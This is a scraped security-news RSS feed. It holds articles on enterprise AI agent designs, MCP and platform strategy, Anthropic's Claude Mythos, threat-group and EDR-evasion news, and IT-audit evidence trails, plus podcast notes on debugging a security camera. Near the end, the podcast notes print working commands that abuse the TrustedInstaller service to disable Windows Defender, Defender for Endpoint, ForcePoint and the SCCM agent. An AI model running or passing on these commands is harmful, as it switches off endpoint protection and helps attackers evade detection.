A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.

Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.

4. The multi-agent team

The fourth pattern is where the next wave of enterprise quality gains is going to come from. According to Databricks, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.

A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.

The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.

5. The human-in-the-loop (HITL) agent

The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. According to Moody’s, 42% of compliance professionals believe that human oversight is mandatory, and I agree: AI should run right, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.

A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.

A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.

6. The scheduled agent

On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.

A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.

A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.

Bringing it together

None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.

Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?

Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[The gravitational pull of AI]]> https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/ https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/ Mon, 20 Jul 2026 11:04:13 +0200 🔧 AI Nachrichten tsecurity.de

Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nearly 100 million monthly SDK downloads across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.

Google did much the same months earlier, handing its Agent2Agent (A2A) protocol to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, supports remote MCP servers in its Responses API⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.

It’s like Game of Thrones, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.

What does this mean for AI?

Gravity has shifted before

Google has long been an exceptionally active contributor to open source. As I wrote in 2017, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As then Google product manager Martin Buhr said, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”

In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.

GitHub may be an even better example. Git is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet GitHub became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.

Trading contributions for control

Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like MCP. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. As I pointed out recently, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.

The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.

Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.

Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.

That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.

That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.

Open standards don’t stop gravity

None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.

An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.

In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.

]]> <![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]> https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/ https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/ Mon, 20 Jul 2026 08:38:28 +0200 📰 IT Security Nachrichten tsecurity.de
1.

What is Claude Mythos?

Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.

Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.

Anthropic established Project Glasswing, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, many of which are also beginning to rely heavily on AI tools.

2.

What are the capabilities of Claude Mythos?

The 50 initial partners of Project Glasswing were able to use Mythos to find more than 10,000 high- or critical-severity vulnerabilities in every major operating system and every major web browser.

The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a 27-year-old bug in OpenBSD. It has also proved capable of chaining multiple vulnerabilities together.

3.

How is Anthropic restricting access to Claude Mythos?

Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.

In June the technology was released to an additional 150 organizations. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.

After the availability of Mythos forced the Trump administration to reconsider its “hands off” approach to AI oversight, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.

4.

What is Claude Fable?

For broader use, Anthropic is offering Claude Fable 5, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.

5.

How are Anthropic’s security vendor partners using access to Mythos?

Cisco, one of Anthropic’s Project Glasswing partners, open-sourced its Foundry Security Spec, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.

During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.

Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.

Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.

6.

Do other AI vendors offer anything comparable to Claude Mythos?

Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.

Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.

As a result, Claude Mythos is far from the only game in town.

For example, OpenAI’s GPT-5.4-Cyber (and GPT-5.5) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.

Chinese cybersecurity firm 360 Security Technology has developed Tulongfeng, described as a domestic answer to Anthropic’s Mythos.

High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.

7.

What do cybersecurity critics say about Claude Mythos?

Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.

Security professionals are complaining through podcasts and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.

Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.

The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.

8.

How should enterprise CISOs respond to the development of Mythos?

Western intelligence agencies that form the Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.

“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.

Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.

AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.

“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”

An AI safety paper from the Cloud Security Alliance warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.

“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.

Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.

See also:

]]> <![CDATA[GoldenEyeDog Threat Group Behind DigiCert Code-Signing Certificate Attack]]> https://tsecurity.de/de/3680426/it-security-nachrichten/goldeneyedog-threat-group-behind-digicert-code-signing-certificate-attack/ https://tsecurity.de/de/3680426/it-security-nachrichten/goldeneyedog-threat-group-behind-digicert-code-signing-certificate-attack/ Mon, 20 Jul 2026 08:38:16 +0200 📰 IT Security Nachrichten tsecurity.de GoldenEyeDog, a Chinese cybercrime group increasingly tracked as an advanced threat cluster, has been linked to a sophisticated intrusion into DigiCert that enabled the theft and abuse of legitimate code-signing certificates. The group has been active since at least 2015


Read more →

The post GoldenEyeDog Threat Group Behind DigiCert Code-Signing Certificate Attack appeared first on IT Security News.

]]> <![CDATA[GoldenEyeDog Threat Group Behind DigiCert Code-Signing Certificate Attack]]> https://tsecurity.de/de/3680377/it-security-nachrichten/goldeneyedog-threat-group-behind-digicert-code-signing-certificate-attack/ https://tsecurity.de/de/3680377/it-security-nachrichten/goldeneyedog-threat-group-behind-digicert-code-signing-certificate-attack/ Mon, 20 Jul 2026 08:23:04 +0200 📰 IT Security Nachrichten tsecurity.de GoldenEyeDog, a Chinese cybercrime group increasingly tracked as an advanced threat cluster, has been linked to a sophisticated intrusion into DigiCert that enabled the theft and abuse of legitimate code-signing certificates. The group has been active since at least 2015 and, since 2024, has consistently leveraged stolen or abused code-signing certificates to bypass Windows SmartScreen [
]

The post GoldenEyeDog Threat Group Behind DigiCert Code-Signing Certificate Attack appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection]]> https://tsecurity.de/de/3680370/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/ https://tsecurity.de/de/3680370/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/ Mon, 20 Jul 2026 08:22:55 +0200 📰 IT Security Nachrichten tsecurity.de A newly published Linux toolkit named Furtex showcases a wide range of concepts related to post-exploitation, persistence, data access, and monitoring evasion. It is built around io_uring, eBPF, BPF maps, and raw system calls. The project includes over 100 tools


Read more →

The post Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection appeared first on IT Security News.

]]> <![CDATA[Kritische Schwachstelle in Open-Source-Software fĂŒr Container-Runtime]]> https://tsecurity.de/de/3680287/it-security-nachrichten/kritische-schwachstelle-in-open-source-software-fuer-container-runtime/ https://tsecurity.de/de/3680287/it-security-nachrichten/kritische-schwachstelle-in-open-source-software-fuer-container-runtime/ Mon, 20 Jul 2026 07:54:01 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection]]> https://tsecurity.de/de/3680276/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/ https://tsecurity.de/de/3680276/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/ Mon, 20 Jul 2026 07:53:47 +0200 📰 IT Security Nachrichten tsecurity.de A newly published Linux toolkit named Furtex showcases a wide range of concepts related to post-exploitation, persistence, data access, and monitoring evasion. It is built around io_uring, eBPF, BPF maps, and raw system calls. The project includes over 100 tools organized into modules that cover asynchronous I/O operations, BPF inspection and manipulation, EDR evasion techniques, [
]

The post Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[OpenVox Operator - Puppet Infrastructure as Kubernetes CRDs (voxconf2026)]]> https://tsecurity.de/de/3680266/it-security-video/openvox-operator-puppet-infrastructure-as-kubernetes-crds-voxconf2026/ https://tsecurity.de/de/3680266/it-security-video/openvox-operator-puppet-infrastructure-as-kubernetes-crds-voxconf2026/ Mon, 20 Jul 2026 07:48:16 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[The audit trail CIOs need before the next cyber crisis]]> https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/ https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/ Mon, 20 Jul 2026 02:13:22 +0200 📰 IT Security Nachrichten tsecurity.de

In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.

Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.

Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.

The erosion of the corporate shield

With the application of the European Union’s Digital Operational Resilience Act (DORA) for financial entities, alongside the broader NIS2 Directive for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the U.S. Securities and Exchange Commission’s cybersecurity disclosure rules require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.

The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.

When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?

When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.

Why point-in-time comfort letters fail regulatory scrutiny

The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.

But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.

Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.

When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.

5 non-negotiable artifacts for your executive evidence engine

This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.

It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.

To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?

  1. Board-facing risk registers with escalation history: A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.
  2. Granular risk acceptance records: You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.
  3. Tabletop and operational simulation records: Independent frameworks such as ISACA’s Digital Trust Ecosystem Framework can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.
  4. AI governance inventories and data-flow mappings: The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.
  5. Synchronized disclosure-control handoffs: When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.

In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.

Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.

The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.

.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]> https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/ https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/ Mon, 20 Jul 2026 02:06:59 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Explicit by the host.

Show Notes

Episode Overview

  • Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

    • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
    • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
    • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
    • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
    • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
    • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

 Tools & Techniques Mentioned

    • crontab + Python scripts for automated monitoring
    • grep -v , cat , tail , and vi (line navigation with :1000 )
    • Obsidian for note-taking & AI assistant integration
    • Firefox/Playwright for headless browser testing
    • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
    • 7-Zip for archive extraction
    • Google Drive for searchable config backups

Resources & Links

Quick Takeaways

    1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
    2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
    3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
    4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
    5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.
  • Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

]]> <![CDATA[Dozens of Robotaxi Riders Are Falling Asleep, Sparking Frantic Calls For Emergency Services]]> https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/ https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/ Mon, 20 Jul 2026 01:23:30 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Swaybeing, a screentime monitoring damon]]> https://tsecurity.de/de/3679944/linux-tipps/swaybeing-a-screentime-monitoring-damon/ https://tsecurity.de/de/3679944/linux-tipps/swaybeing-a-screentime-monitoring-damon/ Sun, 19 Jul 2026 22:24:21 +0200 🐧 Linux Tipps tsecurity.de /u/OliMoli2137
[link] [comments]]]> <![CDATA[CoreFreq improves its support for monitoring Spark cores @ github.com/cyring/CoreFreq]]> https://tsecurity.de/de/3679943/linux-tipps/corefreq-improves-its-support-for-monitoring-spark-cores-githubcomcyringcorefreq/ https://tsecurity.de/de/3679943/linux-tipps/corefreq-improves-its-support-for-monitoring-spark-cores-githubcomcyringcorefreq/ Sun, 19 Jul 2026 22:24:20 +0200 🐧 Linux Tipps tsecurity.de /u/CyrIng
[link] [comments]]]> <![CDATA[James Webb Space Telescope Discovers How Black Holes Feed Themselves]]> https://tsecurity.de/de/3679885/it-security-nachrichten/james-webb-space-telescope-discovers-how-black-holes-feed-themselves/ https://tsecurity.de/de/3679885/it-security-nachrichten/james-webb-space-telescope-discovers-how-black-holes-feed-themselves/ Sun, 19 Jul 2026 21:23:13 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

